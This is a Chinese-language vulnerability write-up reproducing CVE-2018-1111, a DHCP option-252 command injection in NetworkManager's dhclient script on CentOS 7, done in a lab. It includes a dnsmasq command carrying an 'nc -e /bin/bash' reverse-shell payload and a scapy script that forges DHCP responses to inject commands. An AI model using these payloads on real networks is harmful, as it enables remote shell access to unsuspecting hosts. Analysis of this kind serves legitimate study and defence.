0x00 背景

CVE-2018-1111具体来说是DHCP client (dhclient) package中的一个脚本文件存在命令注入漏洞,由于DHCP是内网环境下没有认证的UDP数据包,所以攻击场景就是在内网环境下可以伪造DHCP服务器的响应,根据DHCP 252(Private/Proxy autodiscovery) string类型的option,将带单引号的string传入漏洞脚本,完成命令注入。

官方的影响版本是Red Hat6、7,实际测试影响的版本是CentOS 7和Fedora28,漏洞脚本则位于/etc/NetworkManager/dispatcher.d/11-dhclient (in Red Hat Enterprise Linux 7) 或 /etc/NetworkManager/dispatcher.d/10-dhclient (in Red Hat Enterprise Linux 6)。

0x01 PoC复现

搭建内网DHCP服务器是关键,CentOS 7作为客户端,Kali作为服务端,在vmware上可以使用同一内网取消自带的DHCP服务,virtualbox的环境配置也一样:

这里取消内置的DHCP服务器是为了我们方便伪造DHCP服务器的响应,和实际攻击场景略有不同。根据DHCP协议,kali上和PoC的payload类似,这里我把租约设置为1min:

dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1m --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

CentOS7上使用nmcli来手动重启网卡连接:

nmcli con down id 'enp0s3'
nmcli con up id 'enp0s3'

在kali上进行抓包可以看到DHCP Discover、Offser、Request、ACK的发包请求与响应,最后成功反弹shell:

0x02 PoC分析

在反弹shell后,可以ps看下payload的传递过程:

由于之前nmcli up连接的操作,nm-dispatcher会执行/etc/NetworkManager/dispatcher.d下面的脚本文件,对应在漏洞脚本11-dhclient中存在命令注入:

我在这里将最后要执行的语句输出至文件中,可以看到最后的payload命令拼接情况:

这里对于option 252 wpad的字符串分隔符单引号没有转义,闭合后导致命令注入。

PoC在CentOS7上测试成功,但在CentOS6上没有效果,根据原推中的评论可知,因为NetworkManager在起dhclient的时候会自动接上对应的conf文件,在CentOS6中DHCP Discover和Request并不会请求252的option,对应也不会解析伪造响应的252 option,也就无法造成命令注入:

0x03 攻击场景

根据man NetwaorkManager 得知,其对不同的网络事件会执行/etc/NetworkManager/dispatcher.d下对应的脚本,所以只要能够让dhcp客户端重新获取ip就可以命令注入,思路有三种:

  1. 被动监听数据包,等到主机租约到期发送Request请求时,伪造响应数据包
  2. 结合其他DOS漏洞,使主机重新获取dhcp ip
  3. 伪造服务端发送DHCPFORCERENEW消息,使客户端重新获取dhcp ip,但此类型属于DHCP协议扩展,需要身份认证而且没有被客户端支持,无法使用

最后给出一个伪造服务端响应的python 利用的示例代码(exploit-db也有类似脚本):

from scapy.all import *

def num_hex_str(n):
    num = '%02x' % n
    return num.decode('hex')

def fake_dhcp(pkt):
    sys_mac = '08:00:27:59:1b:51'
    cli_mac = pkt[Ether].src
    cli_mac_hex = ''.join([i.decode('hex') for i in cli_mac.split(':')])
    trans_id = pkt[BOOTP].xid
    for option in pkt[DHCP].options:
        if 'requested_addr' in option:
            req_ip = option[1]
            break
    req_ip = '10.1.1.6'
    shellcode = "x'&wget http://10.1.1.1:1337 #"
    payload = num_hex_str(252)+num_hex_str(len(shellcode))+shellcode+num_hex_str(255)

    print pkt[DHCP].options
    if ('message-type', 3) in pkt[DHCP].options:
        print 'hello'
        dhcp_ack = Ether(src=sys_mac, dst=cli_mac)/IP(src='10.1.1.1', dst=req_ip)/UDP(sport=67, dport=68)/BOOTP(op=2, xid=trans_id, ciaddr=req_ip, yiaddr=req_ip, chaddr=cli_mac_hex)/DHCP(options=[('server_id', '10.1.1.1'), ('message-type', 'ack'), ('lease_time', 120), ('subnet_mask', '255.255.255.0')])/payload
        sendp(dhcp_ack, iface='eth0', verbose=False)

def dhcp_callback(pkt):
    if DHCP in pkt:
        fake_dhcp(pkt)

sniff(prn=dhcp_callback, filter="udp", store=0)

在实际的攻击场景中Python发包会比服务器发包慢,无法欺骗客户端执行命令,可考虑使用C语言等更加快速的方式实现攻击。